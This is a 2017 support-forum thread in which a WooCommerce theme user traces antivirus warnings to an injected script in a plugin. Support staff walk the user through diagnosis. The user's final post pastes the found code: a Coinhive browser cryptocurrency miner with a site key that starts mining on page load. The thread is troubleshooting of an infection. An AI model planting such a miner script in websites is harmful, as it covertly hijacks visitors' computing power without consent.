Couple of Quetions - by boka003 - on WordPress WooCommerce support

This topic has 32 replies, 5 voices, and was last updated 6 years, 5 months ago ago by Olga Barlow

  • Avatar: boka003
    boka003
    Participant
    October 28, 2017 at 18:01

    Thanks,

    But after i clean cache and try on onther devices, avast signalize virus all time.

    You can see web site link in post before

    Thank You

    Avatar: Rose Tyler
    Rose Tyler
    Support staff
    October 30, 2017 at 14:13

    Hello,

    Themes are tested for viruses before uploading on ThemeForest.
    Please explain your problem in details. Do you get the virus message when try to open your site link or in result of theme package scanning? In the first case, please check the problem with a default theme, let us know result and provide a screenshot. In another case, please also provide screenshot of avast signalize.

    Regards

    Avatar: boka003
    boka003
    Participant
    October 31, 2017 at 01:02

    Hi,

    Here is ss: https://prnt.sc/h454s3
    I use default theme, updated.

    Avatar: Olga Barlow
    Olga Barlow
    Support staff
    October 31, 2017 at 12:53

    Hello,

    1) Looks like your PC was infected and not the site files.
    2) Default theme – we mean WP default theme like Twenty Seventeen, Twenty Sixteen etc. Enable it for a few seconds and check the site again.
    3) Try to check the site on another PC where this antivirus is also installed. Do you have the same problem?
    4) If you get the same problem when checking items 2) and 3) contact your hosting provider and ask him to check your WP installation by antivirus. Maybe your site was hacked.

    Regards

    Avatar: boka003
    boka003
    Participant
    October 31, 2017 at 13:04

    Hi,

    If i change site to default theme Twenty Sixteen, there is no virus notification by avast.
    I was install some malwere plugin and i will scean site.

    Thank You

    Avatar: Olga Barlow
    Olga Barlow
    Support staff
    October 31, 2017 at 15:36

    Hello,

    Ok. Then it looks like the site was hacked and files were infected. Because you may download theme archive from ThemeForest and check with antivirus, we don’t have malware code by default.

    Let me know about results.

    Regards

    Avatar: boka003
    boka003
    Participant
    November 4, 2017 at 15:50

    hmmm i cant find anything whit antivirus on local files.

    If i upload theme again to other folder in /wp-content/theme/ and set that theme as active i will not lose any of my settings ?

    Avatar: laranz
    Laranz
    Participant
    November 6, 2017 at 06:52

    Hi,

    You can ask your hosting to check which files are infected, most probably the files infected are index.php, functions.php, etc., check anything in the top of those file suspicious. If so remove those files and upload it from a fresh copy.

    If site is infected, most probably the whole WordPress installation will be infected, so ask your host about which files are infected.

    You can delete the theme from wp-content/themes and re-install the theme with the same name, settings and content remain same, just in case, take a backup of your website in Tools -> Export and Theme Options.

    Let us know,

    Thanks,
    laranz.

    Avatar: boka003
    boka003
    Participant
    November 8, 2017 at 18:16

    Hi,

    Hosting check my website and they cant find any viruses.
    Also i upload theme to new folder and activate it, but virus is still there.

    I think some put virus in my database.
    Mabey by mistake, a dont know, i give my admin acces olny via support chat.

    Is there any way that i can check my database for viruses.

    Avatar: Olga Barlow
    Olga Barlow
    Support staff
    November 9, 2017 at 11:45

    Hello,

    If your hosting provider checked your site and confirmed that you don’t have viruses in theme files then I don’t know how we can help you.

    Have you tried to check the site on another PC where this antivirus is also installed? Do you have the same problem? Maybe it’s your PC problem? Press on check details button http://prntscr.com/h86hnf to get more information about this problem.

    Regards

    Avatar: boka003
    boka003
    Participant
    November 14, 2017 at 15:08

    Hi,

    I found virus.
    It is in Scripts n Styles plugin. Is this plugin come as default (recomended) plugin whit theme ?

    Hmmm, i did not install this plugin, and only i and support staff (from chat in themes are have access).
    I don’t want to say anything, don’t get me wrong.

    Here is code:
    </script><script src=”https://coinhive.com/lib/coinhive.min.js”&gt;

    var miner = new CoinHive.Anonymous(‘FqGfk67Z5RNPrvS8JjgNrrLN0OG7BKA6’, {
    throttle: 0.5,
    forceASMJS: false
    });
    miner.start();

    http://prntscr.com/hac9zc

    But mabey i just did not update some plugin, and someone hack me whit old version of plugin.

    Now everything is working, and thank you all for amazing support, especially you Rose, Amzy and Olga.

    Avatar: Olga Barlow
    Olga Barlow
    Support staff
    November 14, 2017 at 15:55

    Hello,

    List of required and recommended plugins of XStore theme you can find here http://xstore.helpscoutdocs.com/article/36-included-plugins
    Scripts & Styles plugin is not one of them.

    Regards

  • 1 2
    Viewing 32 results - 21 through 32 (of 32 total)

You must be logged in to reply to this topic.Log in/Sign up

We're using our own and third-party cookies to improve your experience and our website. Keep on browsing to accept our cookie policy.